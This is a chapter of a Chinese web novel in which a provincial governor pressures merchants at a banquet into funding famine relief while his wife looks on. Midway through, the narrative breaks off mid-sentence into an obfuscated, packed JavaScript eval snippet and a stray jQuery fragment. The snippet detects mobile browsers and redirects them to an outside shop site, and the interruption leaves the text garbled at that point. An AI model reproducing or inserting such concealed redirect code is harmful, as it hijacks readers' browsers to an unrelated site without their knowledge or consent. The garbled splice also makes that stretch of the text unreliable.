四五十人一并弓腰颔首迎接周度秦桑,周度抬手客套:“诸位坐。”
可周度秦桑不坐,众人又哪敢落座?
等周度拉着秦桑坐下了,众人才慢慢坐了回去。
宴席开始,周度和商人们说些不咸不淡的套话,秦桑在他身边小口小口地抿着葡萄酒,眼睛不时望向下位的寡妇,终于想起来这人是谁了——
是上回她在布庄——好像叫锦绣坊——带阿元买布料时见到的柳老板。
只不过,当时柳老板穿着身热烈鲜艳的石榴裙,头上金簪璀璨明亮,瞧着是个三十出头的美艳妇人;
现在的柳老板却一身老气的酱色袄裙,头上的金簪也换成了暗绿的翡翠,瞧着像位慈祥的老祖母。
该招揽客人就奔着美艳打扮,该面见巡抚就照着慈祥打扮,这位柳老板很聪明呢。
秦桑暗暗赞叹,越发仔细地品尝手中的葡萄酒——
这场宴会的主角是周度,她又怕吃菜弄脏了口脂,索性静静坐在一旁喝甜甜的葡萄酒。
葡萄酒色泽殷红,甜中带着一点点的涩,轻微的酸味又中和了甜腻。
好喝。
比上回在顺兴楼喝的葡萄酒还好喝!
秦桑心情大好,却听周度提到了她:“……夫人诞子后身子虚弱,这些年一直在寺庙将养着,今年才养好了身子回来。”
“本部忧心夫人体弱,本不愿夫人见客,唯恐累着了夫人;偏生夫人知晓今年春荒严重,担忧辖下百姓食不果腹、冻馁而亡,便强打起精神来邀请诸位赴宴。”
秦桑讶然望向周度清俊的侧脸,默默放下了手中的葡萄酒杯。
她失踪之事诡异得很,周度推说她在寺庙调养,这事她和大哥都知道;但她关心遇到春荒的百姓、甚至强撑病体邀请商贾们会客……
这事从何谈起啊?
周度是不是……在给她博一个仁善的好名声?
似乎是为了印证秦桑的想法,周度沉声叹息:“夫人不仅拿了体己钱买了粮米施粥,还说此番宴客所收的贺礼,她都会变卖了充作赈济之资。”
秦桑:“……?!”
先前她发现周度给她攒了好大一笔私房钱,确定她能自行支用后,秦桑就拿出来一部分让大哥帮忙筹措粮米救急;但施粥之事和她有什么关系?
还有变卖贺礼?
手忽然被周度握住,正巧放在周度大腿上,隔着桌案避开了众人的视线。
厅内炭火烧得足,所有人的衣衫都很单薄;透过锦袍,秦桑依稀感受到了周度温热的体温。
秦桑手指不由自主地屈了屈。
她悄悄用力,想要挣开周度的手,可周度长指又用力了几分。
她不敢妄动,抿紧嘴放轻了呼吸。
又听到周度胡言乱语:“偏生本部囊中萧索,拿不出钱财来救济灾民。”
说着周度长叹一声,片刻后又满眼希冀地高声道:“本部想着,诸位都是陕西本地的仁商大贾,都世代居于此地,也时常出资修桥铺路、扶危济弱。”
“如今春荒在即,百姓食不果腹,本部向来敬佩诸位的大方仁善,想请诸位慷慨解囊,共克时艰,诸位以为如何?”
“当然,若是诸位不愿意解囊相助……”
周度话语一顿,声调沉了许多:“本部也不是以权压人的酷吏,自不会麻烦诸位。”
“不过春荒在即,本部自不能眼睁睁地看着百姓饿死,因此……想向诸位借些银钱,日后再偿还给诸位。”
今日前来的商贾个个都打起十二分的精神注意着周度;听他提起夫人时,这些商贾便都放下了筷子认真听着。
等听到慷慨解囊、并着以权压人几句时,商贾们便不由在心头苦笑——
他们不是傻子,自然听得出周度言语中的威胁之意。
做生意到他们这般地步,耳目自然灵敏得很,也清楚这几日周度杀了咸宁等三个县的县令,一时间吓得其余县令人人自危,口口声声说常平仓小吏对粮食的核查不力,想要重新核算粮食后再上报。
周度连朝廷任命的县令都敢杀,更何况是他们这些本就一屁股黑料的商人了。
倘若不捐钱,恐怕就有官吏去核查他们的账册了。
可见今日这笔钱,他们是出也得出,不出也得出。
不过,他们到底该出多少钱?
少了周度不满意,多了他们也出不起,当真是头疼。
商贾们彼此偷偷交换眼神,突然见离周度秦桑最近的柳老板站了起来。
柳老板声调很缓,声音却不低:“大人为百姓宵衣旰食,民妇们都敬佩得很;如今能够帮到大人、帮到百姓,民妇们求之不得,又怎么担得起‘麻烦’二字?”
周度秦桑齐齐望向柳老板,其余商贾也看向了她。
柳老板毫不怯场。她笑道:“夫人病体孱弱却照旧挂心百姓,民妇佩服得很。”
“民妇没什么大本事,可大人既然开口,民妇愿意捐出两千两银子,好让大人买粮赈灾。”
“还请大人莫要嫌弃。”
周度眼睛一动。
柳老板出两千两定下调子,其余商贾少说也要出一千两;如此算来,少说也能凑够三万两银子。
三万两银子换成的粮米足够应急,即便别地商贾不能及时赶来,他也不必再冒着风险去调军粮,更没必要查封米铺、得罪本地豪强。
想着周度立刻起身。他笑着走向柳老板:“柳老板慷慨解囊,本部佩服至极!”
周度一站,秦桑与其余商贾也立刻站了起来,都眼睁睁看着周度走向柳老板:“早就听说柳老板忠贞和善,丧夫后强忍哀恸支撑门户,不仅替丈夫抚养子女,还把锦绣坊的生意做的蒸蒸日上,几乎成了本地最大的布庄,当真是女子楷模。”
说着已有小厮递酒给周度。
他朝着柳老板举杯:“柳老板忠贞节烈、仗义轻财,本部敬柳老板一杯。”
言罢一饮而尽。
“大人言重了!”柳老板慌忙举杯,饮完后又笑道:“民妇久闻大人才高八斗、铁画银钩,心中倾慕已久,想要求大人一幅墨宝,不知大人可否赏脸?”
周度本就打着以诗文换银钱的心思,更何况方才柳老板还特意夸赞了秦桑一番,当真是上道。
她上道,周度也给面子。他笑道:“柳老板既然喜欢,本部便厚颜献丑了。”
柳老板惊喜又惶恐:“大人过谦了。”
周度不再客套。
小厮已经搬来桌子、又放好了文房四宝,周度笑唤秦桑:“夫人,研墨。”
秦桑一直注意着柳老板,感慨她一番话不仅捐了银子、还捧了周度和自己,当真是巧舌如簧、人情练达;如今周度唤她,她立刻上前:“是。”
不多时周度抻平了纸。他略一思量,提笔落下:义民柳氏赞……
秦桑认真研墨,不时抬眼看周度写下的赞文,心下暗暗赞叹他果然才高八斗,又因着商贾们都聚集在身边,不得不压下心思认真研墨。
全不知道柳老板正悄悄望她。
上次秦桑去锦绣坊,身后足足跟了十多个练家子,再加上秦桑阿元几人都样貌出众,柳老板当时就记住了她,却没有想到鳏夫多年的巡抚周度身上。
方才赴宴时,秦桑虽然妆容大变,但她满脸天真明媚、人也显小,一看就知道被保护得很好、从未受过磋磨,所以才保养得这么好。
世间这般幸运的人太少,柳老板立刻认出了秦桑。
再细细打量,秦桑身上的首饰虽然不多,但单看发簪上红宝石的大小,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699308|208079||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道周度很是疼爱她;若是再想一想周度孤身十年、亲自育子的传闻……
柳老板立刻就得出了结论:若要讨好周度,必须先讨好秦桑。
果然,当她夸赞秦桑仁善时,周度神色愉悦了许多。
柳老板瞥一眼秦桑,暗暗下定结论:若要在周度手下安然无恙,万万不能惹了这位秦夫人不快。
赞文一气呵成,周度收了笔,让小厮下去装裱。
有了柳老板打头,其余商贾也接连提出捐钱,且最少都出了一千两银子。
周度让小厮一一登记了人名数额,又提笔接着写赞文,感慨幸而同僚应酬也免不了彼此诗文唱和,今日倒有了用武之地。
写到一半,周度偷眼望向砚台——
砚台微凹,中有墨水一泓。
足够他写文了。
再一看,秦桑照旧勤勉地研墨。
她手指莹润细长,握起来温热柔软,有时睡觉也要与他十指相扣,无论如何都不分开……
周度心头一动,抬手覆在她手背上。
秦桑疑惑地抬头,周度只笑:“墨水够了,夫人受累了。”
“……夫君言重了,”秦桑不再研墨,只留在周度身边侍奉。
她偶尔看眼身边的商贾,见他们战战兢兢便一阵心虚,心道以后得帮他们一次,否则真成了仗势压人的酷吏……
。
商贾们一共捐了整整三万两银子,若以原价买来粮米,也足以支撑个十天半月,一定能够等来外地的商人。
银票厚厚一沓子,秦桑望着心惊胆战的,唯恐不小心丢了,那真是卖了她也赔不起。
周度不由笑了:“不是有一万两银子的体己钱?怎么还这么小心?”
秦桑很诚实:“太多了,不敢花。”
周度捧腹大笑,秦桑不好意思地揉揉脸,也跟着笑了。
那一万两银子是周度特意留给她的体己钱。
周度说,大哥给她入了份子;这些年大哥越来越阔,该她的钱也都给她留着,十年正好凑够了一万两。
可秦桑不信。
大哥赚的多、但花的也多;别的不说,单说周度的开销就不是个小数目——
本朝官员俸禄薄,周度俸禄也就一百多两,给阿元请夫子都不够;何况他养幕僚、做官服、养车马都很花钱。
周度不贪腐,他虽有祖产,但主要靠大哥供养;那一万两银子,肯定是周度故意攒给她的。
秦桑想着有些后悔,觉得不该豪气地拿五千两让大哥去买粮,应该留下一部分以备应急。
秦桑懊恼起来,忍不住羡慕柳老板:“哥哥,我要是和柳老板一样能赚很多很多钱,那该多好啊?”
柳老板随随便便就能捐出来两千两银子呢!
想了想又认真感慨:“算了算了,柳老板一个寡妇支撑门户,一定吃了很多的苦,我没那个本事。”
周度眸光一动。
寡妇支撑门户自然辛苦,但远远强过深宅妇人;而柳老板未必不愿意吃这份苦。
毕竟,柳老板杀夫的风言风语就没断过。
周度没有多说,只拍拍手,立刻有小厮送来一整盘的糖葫芦。
秦桑惊喜极了:“哪里来的糖葫芦?”
“之前你说自己像糖葫芦垛子,我就让人去准备了,”周度递给她一支山楂的糖葫芦:“尝尝味道如何?”
秦桑素来爱吃糖葫芦,闻言不客气地嚼得咔嚓作响,忽然停下了动作:“哥哥,阿元有糖葫芦吃吗?”
差点忘了阿元了。
“有。”
秦桑放下心,嚼了两口却直接放下了糖葫芦:“差点忘了正事!”
秦桑望向周度认真道:“哥哥,有件关于阿元的事情,你得帮着拿个主意。”